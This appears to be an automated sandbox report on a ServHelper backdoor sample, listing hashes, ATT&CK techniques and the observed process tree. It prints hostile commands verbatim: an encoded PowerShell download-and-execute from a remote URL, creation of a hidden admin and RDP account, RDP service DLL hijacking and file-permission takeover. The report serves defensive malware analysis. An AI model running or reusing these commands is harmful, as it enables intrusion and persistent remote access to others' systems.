servhelper | da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605

Analysis

max time kernel
137s
max time network
180s
platform
windows7_x64
resource
win7v20210408
submitted
22-09-2021 07:10

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General

Target

61d5e32562d1c70daf0a3112f7888258.exe
Size

5.7MB
MD5

61d5e32562d1c70daf0a3112f7888258
SHA1

11c54ce99e87637f58c7bc0bd8134c73df9bf879
SHA256

da012f669961c3631b10dd147f38ca34796c40692e01b51dd206f6a5b755e605
SHA512

9cad97c4c71535a2391ad73d13e27748300e3147a3383d4eee85caadb461815f9ee8e9b172e732df16813fa8f5ffdc7115e2740778ebc51c536ab06fc7910cc2

Score

10^/10

servhelper backdoor discovery exploit persistence suricata trojan upx

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

https://raw.githubusercontent.com/sqlitey/sqlite/master/speed.ps1

Signatures

ServHelper
ServHelper is a backdoor written in Delphi and is associated with the hacking group TA505.
trojan backdoor servhelper
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata: ET MALWARE ServHelper CnC Inital Checkin
suricata
Grants admin privileges 1 TTPs
Uses net.exe to modify the user's privileges.

Account Manipulation
T1098

Blocklisted process makes network request 1 IoCs

flow	pid	Process
10	1628	powershell.exe

Modifies RDP port number used by Windows 1 TTPs

Remote Desktop Protocol
T1076

Possible privilege escalation attempt 8 IoCs

exploit

pid	Process
1888	icacls.exe
1840	icacls.exe
688	takeown.exe
1396	icacls.exe
1772	icacls.exe
1964	icacls.exe
1056	icacls.exe
1672	icacls.exe

Sets DLL path for service in the registry 2 TTPs
persistence

Registry Run Keys / Startup Folder
T1060

Modify Registry
T1112

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/0x00040000000130e5-179.dat	upx
behavioral1/files/0x00050000000130e6-180.dat	upx

Loads dropped DLL 2 IoCs

pid	Process
1852	Process not Found
1852	Process not Found

Modifies file permissions 1 TTPs 8 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
1888	icacls.exe
1840	icacls.exe
688	takeown.exe
1396	icacls.exe
1772	icacls.exe
1964	icacls.exe
1056	icacls.exe
1672	icacls.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File created	C:\Windows\system32\rfxvmt.dll	powershell.exe

Drops file in Windows directory 21 IoCs

description	ioc	Process
File created	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\branding\wupsvc.jpg	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_ce72d115-2a14-4d96-82c1-423615b22f64	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_c2b2a3a3-6d66-4fff-b722-1374efd0e345	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b1c2efd2-c4a6-4a3d-871a-ad88f9e19c99	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_e484b633-43f2-4341-9cf8-8d0482f56207	powershell.exe
File created	C:\Windows\branding\mediasrv.png	powershell.exe
File created	C:\Windows\ServiceProfiles\NetworkService\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\697JC32QH7VC53QJMTQA.temp	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_b37b9c97-90dd-462d-863b-fa4071a4b59e	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_6f584eb7-a5c9-47e6-94fe-eab0302050e6	powershell.exe
File opened for modification	C:\Windows\branding\Basebrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasrv.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheIndex	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_962932c3-718a-4659-bd9f-f8a703b735bc	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_92e09941-4f06-487c-b110-16566a51d47d	powershell.exe
File created	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\branding\ShellBrd	powershell.exe
File opened for modification	C:\Windows\branding\mediasvc.png	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_a3d23646-1a6f-480b-8620-8400d86db01a	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_11b1ba59-eb8c-4543-9b2d-07cd4cb78241	powershell.exe
File opened for modification	C:\Windows\ServiceProfiles\NetworkService\AppData\Local\Microsoft\Windows\PowerShell\CommandAnalysis\PowerShell_AnalysisCacheEntry_74dcc402-ab53-44ba-a397-6abd4975fcf8	powershell.exe

Modifies data under HKEY_USERS 4 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-20\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\StartPage	powershell.exe
Set value (data)	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Explorer\StartPage\StartMenu_Start_Time = 40233aed91afd701	powershell.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe
Key created	\REGISTRY\USER\S-1-5-20\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap\	WMIC.exe

Modifies registry key 1 TTPs 1 IoCs

Modify Registry

T1112

pid	Process
1600	reg.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 13 IoCs

pid	Process
1316	powershell.exe
1316	powershell.exe
1480	powershell.exe
1480	powershell.exe
1096	powershell.exe
1096	powershell.exe
1836	powershell.exe
1836	powershell.exe
1316	powershell.exe
1316	powershell.exe
1316	powershell.exe
1628	powershell.exe
1628	powershell.exe

Suspicious behavior: LoadsDriver 5 IoCs

pid	Process
472	Process not Found
1852	Process not Found
1852	Process not Found
1852	Process not Found
1852	Process not Found

Suspicious use of AdjustPrivilegeToken 18 IoCs

description	pid	Process
Token: SeDebugPrivilege	1316	powershell.exe
Token: SeDebugPrivilege	1480	powershell.exe
Token: SeDebugPrivilege	1096	powershell.exe
Token: SeDebugPrivilege	1836	powershell.exe
Token: SeRestorePrivilege	1772	icacls.exe
Token: SeAssignPrimaryTokenPrivilege	1396	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1396	WMIC.exe
Token: SeAuditPrivilege	1396	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1396	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1396	WMIC.exe
Token: SeAuditPrivilege	1396	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1824	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1824	WMIC.exe
Token: SeAuditPrivilege	1824	WMIC.exe
Token: SeAssignPrimaryTokenPrivilege	1824	WMIC.exe
Token: SeIncreaseQuotaPrivilege	1824	WMIC.exe
Token: SeAuditPrivilege	1824	WMIC.exe
Token: SeDebugPrivilege	1628	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1984 wrote to memory of 1316	1984	61d5e32562d1c70daf0a3112f7888258.exe	28
PID 1984 wrote to memory of 1316	1984	61d5e32562d1c70daf0a3112f7888258.exe	28
PID 1984 wrote to memory of 1316	1984	61d5e32562d1c70daf0a3112f7888258.exe	28
PID 1316 wrote to memory of 656	1316	powershell.exe	30
PID 1316 wrote to memory of 656	1316	powershell.exe	30
PID 1316 wrote to memory of 656	1316	powershell.exe	30
PID 656 wrote to memory of 796	656	csc.exe	31
PID 656 wrote to memory of 796	656	csc.exe	31
PID 656 wrote to memory of 796	656	csc.exe	31
PID 1316 wrote to memory of 1480	1316	powershell.exe	32
PID 1316 wrote to memory of 1480	1316	powershell.exe	32
PID 1316 wrote to memory of 1480	1316	powershell.exe	32
PID 1316 wrote to memory of 1096	1316	powershell.exe	34
PID 1316 wrote to memory of 1096	1316	powershell.exe	34
PID 1316 wrote to memory of 1096	1316	powershell.exe	34
PID 1316 wrote to memory of 1836	1316	powershell.exe	36
PID 1316 wrote to memory of 1836	1316	powershell.exe	36
PID 1316 wrote to memory of 1836	1316	powershell.exe	36
PID 1316 wrote to memory of 688	1316	powershell.exe	38
PID 1316 wrote to memory of 688	1316	powershell.exe	38
PID 1316 wrote to memory of 688	1316	powershell.exe	38
PID 1316 wrote to memory of 1396	1316	powershell.exe	39
PID 1316 wrote to memory of 1396	1316	powershell.exe	39
PID 1316 wrote to memory of 1396	1316	powershell.exe	39
PID 1316 wrote to memory of 1772	1316	powershell.exe	40
PID 1316 wrote to memory of 1772	1316	powershell.exe	40
PID 1316 wrote to memory of 1772	1316	powershell.exe	40
PID 1316 wrote to memory of 1964	1316	powershell.exe	41
PID 1316 wrote to memory of 1964	1316	powershell.exe	41
PID 1316 wrote to memory of 1964	1316	powershell.exe	41
PID 1316 wrote to memory of 1056	1316	powershell.exe	42
PID 1316 wrote to memory of 1056	1316	powershell.exe	42
PID 1316 wrote to memory of 1056	1316	powershell.exe	42
PID 1316 wrote to memory of 1672	1316	powershell.exe	43
PID 1316 wrote to memory of 1672	1316	powershell.exe	43
PID 1316 wrote to memory of 1672	1316	powershell.exe	43
PID 1316 wrote to memory of 1888	1316	powershell.exe	44
PID 1316 wrote to memory of 1888	1316	powershell.exe	44
PID 1316 wrote to memory of 1888	1316	powershell.exe	44
PID 1316 wrote to memory of 1840	1316	powershell.exe	45
PID 1316 wrote to memory of 1840	1316	powershell.exe	45
PID 1316 wrote to memory of 1840	1316	powershell.exe	45
PID 1316 wrote to memory of 1108	1316	powershell.exe	46
PID 1316 wrote to memory of 1108	1316	powershell.exe	46
PID 1316 wrote to memory of 1108	1316	powershell.exe	46
PID 1316 wrote to memory of 1600	1316	powershell.exe	47
PID 1316 wrote to memory of 1600	1316	powershell.exe	47
PID 1316 wrote to memory of 1600	1316	powershell.exe	47
PID 1316 wrote to memory of 336	1316	powershell.exe	48
PID 1316 wrote to memory of 336	1316	powershell.exe	48
PID 1316 wrote to memory of 336	1316	powershell.exe	48
PID 1316 wrote to memory of 1492	1316	powershell.exe	49
PID 1316 wrote to memory of 1492	1316	powershell.exe	49
PID 1316 wrote to memory of 1492	1316	powershell.exe	49
PID 1492 wrote to memory of 784	1492	net.exe	50
PID 1492 wrote to memory of 784	1492	net.exe	50
PID 1492 wrote to memory of 784	1492	net.exe	50
PID 1316 wrote to memory of 1708	1316	powershell.exe	51
PID 1316 wrote to memory of 1708	1316	powershell.exe	51
PID 1316 wrote to memory of 1708	1316	powershell.exe	51
PID 1708 wrote to memory of 1092	1708	cmd.exe	52
PID 1708 wrote to memory of 1092	1708	cmd.exe	52
PID 1708 wrote to memory of 1092	1708	cmd.exe	52
PID 1092 wrote to memory of 1552	1092	cmd.exe	53

C:\Users\Admin\AppData\Local\Temp\61d5e32562d1c70daf0a3112f7888258.exe
"C:\Users\Admin\AppData\Local\Temp\61d5e32562d1c70daf0a3112f7888258.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:1984
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -ep bypass & 'C:\Users\Admin\AppData\Local\Temp\\ready.ps1'
  2⤵
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1316
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\05jmqopu\05jmqopu.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:656
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES32A3.tmp" "c:\Users\Admin\AppData\Local\Temp\05jmqopu\CSCA0D889081A1743489B4E2093EAD758D3.TMP"
      4⤵
      PID:796
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1480
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1096
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Version 4.0 -s -NoLogo -NoProfile
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1836
- - C:\Windows\system32\takeown.exe
    "C:\Windows\system32\takeown.exe" /A /F rfxvmt.dll
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:688
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /inheritance:d
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1396
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /setowner "NT SERVICE\TrustedInstaller"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:1772
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT SERVICE\TrustedInstaller:F"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1964
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove "NT AUTHORITY\SYSTEM"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1056
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant "NT AUTHORITY\SYSTEM:RX"
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1672
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /remove BUILTIN\Administrators
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1888
- - C:\Windows\system32\icacls.exe
    "C:\Windows\system32\icacls.exe" rfxvmt.dll /grant BUILTIN\Administrators:RX
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1840
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" ADD "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x1C21 /f
    3⤵
    PID:1108
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add HKLM\system\currentcontrolset\services\TermService\parameters /v ServiceDLL /t REG_EXPAND_SZ /d C:\Windows\branding\mediasrv.png /f
    3⤵
    - Modifies registry key
    PID:1600
- - C:\Windows\system32\reg.exe
    "C:\Windows\system32\reg.exe" add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v fEnableWddmDriver /t reg_dword /d 0 /f
    3⤵
    PID:336
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1492
  - - C:\Windows\system32\net1.exe
      C:\Windows\system32\net1 localgroup Administrators "NT AUTHORITY\NETWORK SERVICE" /add
      4⤵
      PID:784
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start rdpdr
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1708
  - - C:\Windows\system32\cmd.exe
      cmd /c net start rdpdr
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1092
    - - C:\Windows\system32\net.exe
        
        net start rdpdr
        5⤵
        
        PID:1552
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start rdpdr
        6⤵
        
        PID:1608
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c cmd /c net start TermService
    3⤵
    PID:1132
  - - C:\Windows\system32\cmd.exe
      cmd /c net start TermService
      4⤵
      PID:296
    - - C:\Windows\system32\net.exe
        
        net start TermService
        5⤵
        
        PID:1692
      - C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 start TermService
        6⤵
        
        PID:2012
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.ps1 /f
    3⤵
    PID:792
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c del %temp%\*.txt /f
    3⤵
    PID:688

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc 000000 /del
1⤵
PID:1096
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc 000000 /del
  2⤵
  PID:1652
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc 000000 /del
    3⤵
    PID:688

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc M6LqWVFh /add
1⤵
PID:1396
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc M6LqWVFh /add
  2⤵
  PID:1620
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 user WgaUtilAcc M6LqWVFh /add
    3⤵
    PID:1504

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
1⤵
PID:624
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
  2⤵
  PID:1508
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" WgaUtilAcc /ADD
    3⤵
    PID:1636

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
1⤵
PID:524
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
  2⤵
  PID:1732
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Remote Desktop Users" QWOCTUPM$ /ADD
    3⤵
    PID:1492

C:\Windows\System32\cmd.exe
cmd /C net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
1⤵
PID:1388
- C:\Windows\system32\net.exe
  net.exe LOCALGROUP "Administrators" WgaUtilAcc /ADD
  2⤵
  PID:1224
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 LOCALGROUP "Administrators" WgaUtilAcc /ADD
    3⤵
    PID:1796

C:\Windows\System32\cmd.exe
cmd /C net.exe user WgaUtilAcc M6LqWVFh
1⤵
PID:1256
- C:\Windows\system32\net.exe
  net.exe user WgaUtilAcc M6LqWVFh
  2⤵
  PID:1336

C:\Windows\system32\net1.exe
C:\Windows\system32\net1 user WgaUtilAcc M6LqWVFh
1⤵
PID:1096

C:\Windows\System32\cmd.exe
cmd.exe /C wmic path win32_VideoController get name
1⤵
PID:1564
- C:\Windows\System32\Wbem\WMIC.exe
  wmic path win32_VideoController get name
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1396

C:\Windows\System32\cmd.exe
cmd.exe /C wmic CPU get NAME
1⤵
PID:1636
- C:\Windows\System32\Wbem\WMIC.exe
  wmic CPU get NAME
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious use of AdjustPrivilegeToken
  PID:1824

C:\Windows\System32\cmd.exe
cmd.exe /C cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
1⤵
PID:1492
- C:\Windows\system32\cmd.exe
  cmd /C powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
  2⤵
  PID:1688
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -ep bypass -NoProfile -outputformat text -nologo -noninteractive -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAGMAbABpAGUAbgB0ACkALgBkAG8AdwBuAGwAbwBhAGQAcwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAcwA6AC8ALwByAGEAdwAuAGcAaQB0AGgAdQBiAHUAcwBlAHIAYwBvAG4AdABlAG4AdAAuAGMAbwBtAC8AcwBxAGwAaQB0AGUAeQAvAHMAcQBsAGkAdABlAC8AbQBhAHMAdABlAHIALwBzAHAAZQBlAGQALgBwAHMAMQAiACkA
    3⤵
    - Blocklisted process makes network request
    - Drops file in Windows directory
    - Modifies data under HKEY_USERS
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1628

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Account Manipulation

T1098

Registry Run Keys / Startup Folder

T1060

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Modify Registry

T1112

Credential Access

Account Manipulation

T1098

Discovery

Lateral Movement

Remote Desktop Protocol

T1076

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/1096-129-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/1096-134-0x00000000023B0000-0x00000000023B1000-memory.dmp

Filesize
4KB

Download
memory/1096-133-0x0000000002670000-0x0000000002671000-memory.dmp

Filesize
4KB

Download
memory/1096-131-0x000000001B6D0000-0x000000001B6D1000-memory.dmp

Filesize
4KB

Download
memory/1096-127-0x000000001AA20000-0x000000001AA22000-memory.dmp

Filesize
8KB

Download
memory/1096-128-0x000000001AA24000-0x000000001AA26000-memory.dmp

Filesize
8KB

Download
memory/1316-86-0x000000001B670000-0x000000001B671000-memory.dmp

Filesize
4KB

Download
memory/1316-66-0x000007FEFB761000-0x000007FEFB763000-memory.dmp

Filesize
8KB

Download
memory/1316-71-0x00000000023F0000-0x00000000023F1000-memory.dmp

Filesize
4KB

Download
memory/1316-70-0x000000001AA74000-0x000000001AA76000-memory.dmp

Filesize
8KB

Download
memory/1316-101-0x000000001AA7A000-0x000000001AA99000-memory.dmp

Filesize
124KB

Download
memory/1316-72-0x0000000002600000-0x0000000002601000-memory.dmp

Filesize
4KB

Download
memory/1316-74-0x000000001C400000-0x000000001C401000-memory.dmp

Filesize
4KB

Download
memory/1316-69-0x000000001AA70000-0x000000001AA72000-memory.dmp

Filesize
8KB

Download
memory/1316-82-0x00000000022E0000-0x00000000022E1000-memory.dmp

Filesize
4KB

Download
memory/1316-68-0x000000001AAF0000-0x000000001AAF1000-memory.dmp

Filesize
4KB

Download
memory/1316-67-0x0000000002540000-0x0000000002541000-memory.dmp

Filesize
4KB

Download
memory/1316-84-0x000000001A9F0000-0x000000001A9F1000-memory.dmp

Filesize
4KB

Download
memory/1316-85-0x000000001B460000-0x000000001B461000-memory.dmp

Filesize
4KB

Download
memory/1316-156-0x000000001C8A0000-0x000000001C8A1000-memory.dmp

Filesize
4KB

Download
memory/1480-99-0x000000001AC00000-0x000000001AC01000-memory.dmp

Filesize
4KB

Download
memory/1480-95-0x0000000002490000-0x0000000002491000-memory.dmp

Filesize
4KB

Download
memory/1480-119-0x000000001ABF0000-0x000000001ABF1000-memory.dmp

Filesize
4KB

Download
memory/1480-120-0x000000001AC50000-0x000000001AC51000-memory.dmp

Filesize
4KB

Download
memory/1480-94-0x000000001AC74000-0x000000001AC76000-memory.dmp

Filesize
8KB

Download
memory/1480-93-0x000000001AC70000-0x000000001AC72000-memory.dmp

Filesize
8KB

Download
memory/1480-106-0x000000001B7E0000-0x000000001B7E1000-memory.dmp

Filesize
4KB

Download
memory/1480-97-0x000000001A9A0000-0x000000001A9A1000-memory.dmp

Filesize
4KB

Download
memory/1480-100-0x0000000002320000-0x0000000002321000-memory.dmp

Filesize
4KB

Download
memory/1628-233-0x000000001933A000-0x0000000019359000-memory.dmp

Filesize
124KB

Download
memory/1628-203-0x0000000019334000-0x0000000019336000-memory.dmp

Filesize
8KB

Download
memory/1628-202-0x0000000019330000-0x0000000019332000-memory.dmp

Filesize
8KB

Download
memory/1836-154-0x000000001AB70000-0x000000001AB72000-memory.dmp

Filesize
8KB

Download
memory/1836-155-0x000000001AB74000-0x000000001AB76000-memory.dmp

Filesize
8KB

Download
memory/1984-64-0x0000000028157000-0x0000000028158000-memory.dmp

Filesize
4KB

Download
memory/1984-61-0x0000000028152000-0x0000000028154000-memory.dmp

Filesize
8KB

Download
memory/1984-59-0x0000000041390000-0x000000004178F000-memory.dmp

Filesize
4.0MB

Download
memory/1984-62-0x0000000028154000-0x0000000028156000-memory.dmp

Filesize
8KB

Download
memory/1984-63-0x0000000028156000-0x0000000028157000-memory.dmp

Filesize
4KB

Download